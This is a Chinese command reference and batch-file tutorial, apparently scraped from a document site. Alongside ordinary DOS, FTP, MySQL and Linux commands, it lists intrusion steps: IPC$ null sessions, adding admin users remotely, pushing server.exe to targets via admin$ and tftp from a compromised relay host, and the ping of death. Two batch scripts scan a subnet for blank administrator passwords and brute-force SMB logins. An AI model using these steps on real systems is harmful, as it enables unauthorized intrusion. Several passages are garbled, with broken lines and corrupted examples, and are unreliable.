DOS命令字典及bat批处理文件的编写

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

dos命令字典
net use\\ip\ipc$""/user:""建立IPC空链接
net use\\ip\ipc$"密码"/user:"用户名"建立IPC非空链接
net use h:\\ip\c$"密码"/user:"用户名"直接登陆后映射对方C:到本地为H:
net use h:\\ip\c$登陆后映射对方C:到本地为H:
net use\\ip\ipc$/del删除IPC链接
net use h:/del删除映射对方到本地的为H:的映射
net user用户名密码/add建立用户
net user guest/active:yes激活guest用户
net user查看有哪些用户
net user帐户名查看帐户的属性
net localgroup administrators用户名/add把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start查看开启了哪些服务
net start服务名开启服务;(如:net start telnet,net start schedule)
net stop服务名停止某服务
net time\\目标ip查看对方时间
net time\\目标ip/set设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view查看本地局域网内开启了哪些共享
net view\\ip查看对方局域网内开启了哪些共享
net config显示系统网络设置
net logoff断开连接的共享
net pause服务名暂停某服务
net send ip"文本信息"向对方发信息
net ver局域网内正在使用的网络连接类型和信息
net share查看本地开启的共享
net share ipc$开启ipc$共享
net share ipc$/del删除ipc$共享
net share c$/del删除C:共享
net user guest12345用guest用户登陆后用将密码改为
12345net password密码更改系统登陆密码
netstat-a查看开启了哪些端口,常用netstat-an
netstat-n查看端口的网络连接情况,常用netstat-an
netstat-v查看正在进行的工作
netstat-p协议名例:netstat-p tcq/ip查看某协议使用情况(查看tcp/ip协议使用情况)
netstat-s查看正在使用的所有协议使用情况
nbtstat-A ip对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户
名)-注意:参数-A要大写
tracert-参数ip(或计算机名)跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名)向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping-t-l65550ip死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig(winipcfg)用于windows NT及XP(windows9598)查看本地ip地址,ipconfig可用参数
“/all”显示全部配置信息
tlist-t以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件
夹内)
kill-F进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的
Support/tools文件夹内)
del-F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。

例如“DEL/AR*.*”表示删
除当前目录下所有只读文件,“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件
del/S/Q目录或用:rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。

同时使用参数/Q可
取消删除操作时的系统确认就直接删除。

(二个命令作用相同)
move盘符\路径\要移动的文件名存放移动文件的路径\移动后文件名移动文件,用参数/y将取消确认移动
目录存在相同文件的提示就直接覆盖
fc one.txt two.txt>3st.txt对比二个文件并把不同之处输出到3st.txt文件中,">"和">>"是重定向命

at id号开启已注册的某个计划任务
at/delete停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号/delete停止某个已注册的计划任务
at查看所有的计划任务
at\\ip time程序名(或一个命令)/r在某时间运行对方某程序并重新启动计算机
finger username@host查看最近有哪些用户登陆
telnet ip端口远和登陆服务器,默认端口为23
open ip连接到IP(属telnet登陆后的命令)
telnet在本机上直接键入telnet将进入本机的telnet
copy路径\文件名1路径\文件名2/y复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe\\ip\admin$复制本地c:\srv.exe到对方的admin下
cppy1st.jpg/b+2st.txt/a3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:
2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy\\ip\admin$\svv.exe c:\或:copy\\ip\admin$\*.*复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy要复制的文件或目录树目标地址\目录名复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp-i自己IP(用肉机作跳板时这用肉机IP)get server.exe c:\server.exe登陆后,将“IP”的server.exe下载到目标主机c:\server.exe参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp-i对方IP put c:\server.exe登陆后,上传本地c:\server.exe至主机
ftp ip端口用于上传文件至服务器或进行文件操作,默认端口为21。

bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。

arp-a将显示出全部信息
start程序名或命令/max或/min新开一个新窗口并最大化(最小化)运行某程序或命令
mem查看cpu使用情况
attrib文件名(目录名)查看某文件(目录)的属性
attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则是添加为某属性
dir查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date/t、time/t使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set指定环境变量名称=要指派给变量的字符设置环境变量
set显示当前所有的环境变量
set p(或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量
pause暂停批处理程序,并显示出:请按任意键继续....
if在批处理程序中执行条件处理(更多说明见if命令及变量)
goto标签将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call路径\批处理文件名从批处理程序中调用另一个批处理程序(更多说明见call/?)
for对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off打开或关闭echo,仅用echo不加参数则显示当前echo设
置echo信息在屏幕上显示出信息
echo信息>>pass.txt将"信息"保存到pass.txt文件中
findstr"Hello"aa.txt在aa.txt文件中寻找字符串hello
find文件名查找某文件
title标题名字更改CMD窗口标题名字
color颜色值设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt名称更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\)
ver在DOS窗口下显示版本信息
winver弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format盘符/FS:类型格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D:/FS:NTFS
md目录名创建目录
replace源文件要替换文件的目录替换文件
ren原文件名新文件名重命名文件名
tree以树形结构显示出目录,用参数-f将列出第个文件夹中文件名称
type文件名显示文本文件的内容
more文件名逐屏显示输出文件
doskey要锁定的命令=字符
doskey要解锁命令=为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。

如:锁定dir 命令:doskey dir=entsky(不能用doskey dir=dir);解锁:doskey dir=
taskmgr调出任务管理器
chkdsk/F D:检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口exit退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path路径\可执行文件的文件名为可执行文件设置一个路径。

cmd启动一个win2K命令解释窗口。

参数:/eff、/en关闭、开启命令扩展;更我详细说明见cmd/?
regedit/s注册表文件名导入注册表;参数/S指安静模式导入,无任何提示;
regedit/e注册表文件名导出注册表
cacls文件名参数显示或修改文件访问控制列表(ACL)——针对NTFS格式时。

参数:/D用户名:设定拒绝某用户访问;/P用户名:perm替换指定用户的访问权限;/G用户名:perm赋予指定用户访问权限;Perm可以是:N无,R读取,W写入,C更改(写入),F完全控制;例:cacls D:\test.txt/D pub设定
d:\test.txt拒绝pub用户访问。

cacls文件名查看文件的访问用户权限列表
REM文本内容在批处理文件中添加注解
netsh查看或更改本地网络配置情况
IIS服务命令:
iisreset/reboot重启win2k计算机(但有提示系统将重启信息出
现)iisreset/start或stop启动(停止)所有Internet服务
iisreset/restart停止然后重新启动所有Internet服务
iisreset/status显示所有Internet服务状态
iisreset/enable或disable在本地系统上启用(禁用)Internet服务的重新启动
iisreset/rebootonerror当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset/noforce若无法停止Internet服务,将不会强制终止Internet服务
iisreset/timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。

预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP命令:(后面有详细说明内容)ftp的命令
行格式为:
ftp-v-d-i-n-g[主机名]-v显示远程服务器的所有响应信息。

-d使用调试方式。

-n限制ftp的自动登录,即不使用.netrc文件。

-g取消全局文件名。

help[命令]或?[命令]查看命令说明
bye或quit终止主机FTP进程,并退出FTP管理方
式.pwd列出当前远端主机目录
put或send本地文件名[上传到主机上的文件名]将本地一个文件传送至远端主机中
get或recv[远程主机文件名][下载到本地后的文件名]从远端主机中传送至本地主机中
mget[remote-files]从远端主机接收一批文件至本地主机
mput local-files将本地主机中一批文件传送至远端主机
dir或ls[remote-directory][local-file]列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii设定以ASCII方式传送文件(缺省值)
bin或image设定以二进制方式传送文件
bell每完成一次文件传送,报警提示
cdup返回上一级目录
close中断与远程服务器的ftp会话(与open对应)
open host[port]建立指定ftp服务器连接,可指定连接端口
delete删除远端主机中的文件
mdelete[remote-files]删除一批文件
mkdir directory-name在远端主机中建立目录
rename[from][to]改变远端主机中的文件名
rmdir directory-name删除远端主机中的目录
status显示当前FTP的状态
system显示远端主机系统类型
user user-name[password][account]重新以别的用户名登录远端主机
open host[port]重新建立一个新的连接
prompt交互提示模式
macdef定义宏命令
lcd改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod改变远端主机的文件权限
case当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字
母cd remote-dir进入远程主机目录
cdup进入远程主机目录的父目录
!在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL命令:
mysql-h主机地址-u用户名-p密码连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql-h110.110.110.110-Uroot-P123456注:u与root
可以不用加空格,其它也一样)
exit退出MYSQL
mysqladmin-u用户名-p旧密码password新密码修改密码
grant select on数据库.*to用户名@登录主机identified by\"密码\";增加新用户。

(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases;显示数据库列表。

刚开始时才两个数据库:mysql和test。

mysql库很重要它里面有MYSQL 的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;
show tables;显示库中的数据表
describe表名;显示数据表的结构
create database库名;建库
use库名;
create table表名(字段设定列表);建表
drop database库名;
drop table表名;删库和删表dele
te from表名;将表中记录清空select
*from表名;显示表中的记录
mysqldump--opt school>school.bbb备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发
现。

win2003系统下新增命令(实用部份):
shutdown/参数关闭或重启本地或远程主机。

参数说明:/S关闭主机,/R重启主机,/T数字设定延时的时间,范围0~180秒之间,/A取消开机,
/M
//IP指定的远程主机。

例:shutdown/r/t0立即重启本地主机(无延时)
taskill/参数进程名或进程的pid终止一个或多个任务和进程。

参数说明:/PID要终止进程的pid,可用tasklist命令获得各进程的pid,/IM要终止的进程的进程名,/F 强制终止进程,/T终止指定的进程及他所启动的子进程。

tasklist显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M列出当前进程加载的dll文件,/SVC显示出每个进程对应的服务,无参数时就只列出当前的进程。

Linux系统下基本命令:要区分大小写
uname显示版本信息(同win2K的ver)
dir显示当前目录文件,ls-al显示包括隐藏文件(同win2K的dir)pwd查询当前所在的目录位置
cd cd..回到上一层目录,注意cd与..之间有空格。

cd/返回到根目录。

cat文件名查看文件内容
cat>abc.txt往abc.txt文件中写上内
容。

more文件名以一页一页的方式显示一个文本文件。

cp复制文件
mv移动文件
rm文件名删除文件,rm-a目录名删除目录及子目录
mkdir目录名建立目录
rmdir删除子目录,目录内没有文档。

chmod设定档案或目录的存取权限
grep在档案中查找字符串
diff档案文件比较
find档案搜寻
date现在的日期、时间
who查询目前和你使用同一台机器的人以及Login时间地
点w查询目前上机者的详细资料
whoami查看自己的帐号名称
groups查看某人的Group
passwd更改密码
history查看自己下过的命令
ps显示进程状态
kill停止某进程
gcc黑客通常用它来编译C语言写的文
件su权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量基本格式:
FOR/参数%variable IN(set)DO command[command_parameters]%variable:指定一个单一字母可替换的参数,如:%i,而指定一个变量则用:%%i,而调用变量时用:%i%,变量是区分大小写的(%i不等于
%I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use\\ip\ipc$pass/user:user中ip为%1,pass为%2,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1-1254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:&来隔开command_parameters:为特定命令指定参数或命令行开关
IN(set):指在(set)中取值;DO command:指执行command
参数:/L指用增量形式{(set)为增量形式时};/F指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。

用法举例:
@echo off
echo用法格式:test.bat*.*.*>test.txt
for/L%%G in(11254)do echo%1.%%G>>test.txt&net use\\%1.%%G/user:administrator|find "命令成功完成">>test.txt
存为test.bat说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的%1;%%G为变量(ip 的最后一位);&用来隔开echo和net use这二个命令;|指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G为完整的IP地址;(11254)指起始值,增长量,结止值。

@echo off
echo用法格式:ok.bat ip
FOR/F%%i IN(D:\user.dic)DO smb.exe%1%%i D:\pass.dic200
存为:ok.exe说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。

%%i为用户名;%1为输入的IP地址(默认)。

BAT批处理文件的编写
.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理
文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。

所以从
某个程度分析,batch,unix shell,awk,basic,perl等脚本语言都是一样的,只不过应用的范围和解释的平台各有
不同而已。

甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。

首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命
令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows 系统这个新
型解释平台的涉入,使得批处理的应用越来越"边缘化"。

所以我们讨论的批处理应该限定在dos环境或者命令行环境中,
否则很多观念和设定都需要做比较大的变动。

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理
中也可以使用循环语句(for)来循环执行一条命令。

当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限
的,也是十分不规范的。

批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取
决于你所使用的命令。

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩
展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。

因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来
使得它可以在任意位置运行。

一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你
编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程
序。

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内
存),中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由

接载入内存),以exe位扩展名的可执行程序(由重定位后载入内存),以bat位扩展名的批处理程序(由
解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不
载入内存)
第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自
动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存
,设置系统环境变量等。

下面是一个运行于WindowsC:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;
C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE/X
LH /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由启动时解释执行;而在Win9x环境中,
不仅增加支持了DOSSTART.BAT,WINSTART.BAT等许多其它自动运行的批处理文件,对AUTOEXEC.BAT
也增加了.DOS.W40.BAK.OLD.PWS等许多变体以适应复杂的环境和多变的需求。

以下关于命令的分类,有很多值得推敲的地方。

常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入,
而特殊命令中所有命令对我来说都是常用命令。

建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。

而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。

以下摘录MS-DOS 6.22帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。

批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。

当在命令提示符下敲入批处理程序的
名称时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。

此外,下面MS-DOS命令是专门在批处理程序中使用的。

常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

首先,=不常用的参数界定符
+COPY命令文件连接符
*?文件通配符
""字符串界定符
|命令管道符
<>>>另外,rem可以用于config.sys文
件中.
echo表示显示此命令后的字符
echo off表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前
文件并执行当前文件的后续命令)。

pause运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

此处的描述较为混乱,)代替REM命令,但在批处理文件中则不能替代)。

语法
REM[string]
参数
string指定要屏蔽的命令或要包含的注
解。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat调用
ucdos echo你好显示"你好"
pause暂停,等待按键继续
rem准备运行wps注释:准备运行
wps cd ucdos进入ucdos目录
wps运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。

变量可以从%0到%9,
%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echoft a.txt b.txt
%1:表示a.txt
%2:表示b.txt于是上面的命令将顺序地显示a.txt和b.txt
文件的内容。

参数在批处理中也作为变量处理,所以同样使用百分号作为引导符,其后跟0-9中的一个数字构成参数引用符.引用符和
参数之间(例如上文中的%1与a:)的关系类似于变量指针与变量值的关系.当我们要引用第十一个或更多个参数时,
就必须移动DOS的参数起始指针.shift命令正充当了这个移动指针的角色,它将参数的起始指针移动到下
一个参数,
类似C语言中的指针操作.图示如下:
初始状态,cmd为命令名,可以用%0引用
cmd arg1arg2arg3arg4arg5arg6arg7arg8arg9arg10
^^^^^^^^^^
%0%1%2%3%4%5%6%7%8%9
经过1次shift后,cmd将无法被引用
cmd arg1arg2arg3arg4arg5arg6arg7arg8arg9arg10
^^^^^^^^^^
%0%1%2%3%4%5%6%7%8%9
经过2次shift后,arg1也被废弃,%9指向为空,没有引用意
义cmd arg1arg2arg3arg4arg5arg6arg7arg8arg9
arg10
^^^^^^^^^
%0%1%2%3%4%5%6%7%8
遗憾的是,win9x和DOS下均不支持shift的逆操作.只有在nt内核命令行环境下,shift才支持/n参数,可以以
第一参数为基准返复移动起始指针.
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。

有三种格式:
1、if[not]"参数"=="字符串"待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if"%1"=="a"format a:
if的命令行帮助中关于此点的描述为:
IF[NOT]string1==string2command
在此有以下几点需要注意:
1.包含字符串的双引号不是语法所必须的,而只是习惯上使用的一种"防空"字符
2.string1未必是参数,它也可以是环境变量,循环变量以及其他字符串常量或变量
mand不是语法所必须的,string2后跟一个空格就可以构成一个有效的命令行
2、if[not]exist[路径\]文件名待执行的命令如果有指定
的文件,则条件成立,运行命令,否则运行下一句。

如:if exist c:\config.sys type c:\config.sys表示如果存
在c:\config.sys文件,则显示它的内容。

也可以使用以下的用法:
if exist command
device是指DOS系统中已加载的设备,在win98下通常有:
AUX,PRN,CON,NUL
COM1,COM2,COM3,COM4
LPT1,LPT2,LPT3,LPT4
XMSXXXX0,EMMXXXX0
A:B:C:...,
CLOCK$,CONFIG$,DblBuff$,IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异,使用这些设备名称时,需要保证以下三点:
1.该设备确实存在(由软件虚拟的设备除外)
2.该设备驱动程序已加载(aux,prn等标准设备由系统缺省定义)
3.该设备已准备好(主要是指a:b:...,com1...,lpt1...等)可通过命
令mem/d|find"device"/i来检阅你的系统中所加载的设备
另外,在DOS系统中,设备也被认为是一种特殊的文件,而文件也可以称作字符设备;因为设备(device)与文件都是使用
句柄(handle)来管理的,句柄就是名字,类似于文件名,只不过句柄不是应用于磁盘管理,而是应用于内存管理而已,。

相关文档
最新文档